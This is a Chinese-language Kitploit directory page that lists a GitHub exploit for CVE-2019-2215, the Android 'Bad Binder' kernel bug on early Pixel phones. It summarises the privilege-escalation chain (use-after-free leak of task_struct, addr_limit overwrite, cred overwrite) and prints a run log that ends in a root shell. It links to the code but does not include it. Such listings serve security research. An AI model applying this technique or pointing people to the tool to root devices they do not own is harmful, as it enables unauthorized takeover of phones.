Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-2215 — 针对在早期Google Pixel手机中发现的Android漏洞Bad Binder的完整漏洞利用代码。 | Kitploit
工具/GitHubGitHub/wired0ut/cve-2019-2215
Android安全权限提升漏洞分析漏洞利用移动安全二进制利用
GitHubwired0ut/cve-2019-2215

CVE-2019-2215

针对在早期Google Pixel手机中发现的Android漏洞Bad Binder的完整漏洞利用代码。

查看仓库
414个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2019-2215

由 @wired0ut 编写的 Android Bad Binder 漏洞利用工具。 它利用 UAF 泄漏 task_struct,然后覆盖 addr_limit,并通过覆盖 cred 中的 id 块来提升权限。

研究的完整流程和利用细节可在此处找到(共三部分):这里

已在 goldfish Android 内核(arm64,版本 4.14,补丁已重新引入)上测试通过。

运行示例:

root@kitploit:~
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] Starting first phase of exploit; task_struct leak...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Entering blocked state...
[!] Triggering UAF...
[!] Left blocked state, it means we have signaled to not hang.
[*] Leaked task_struct @ 0xffffffc0fb3f0d80
[*] Successfully leaked task_struct ptr, now overwriting addr_limit...
[!] Pre-writing 1 byte to socket to advance iovec iterator to 12th...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Creating msghdr with crafted iovecs...
[!] Entering recvmsg(...), should block until UAF...
[!] Triggering UAF...
[!] Overwriting addr_limit @ 0xffffffc0fb3f0d88 with 0xfffffffffffffffe
[*] addr_limit overwritten, leaking cred ptr @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] Overwriting entire id block in cred from 0xffffffc0fa45a304 to 0xffffffc0fa45a324
[*] You should now be r00t...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0

如有任何进一步的信息或疑问,请与我联系。

下载工具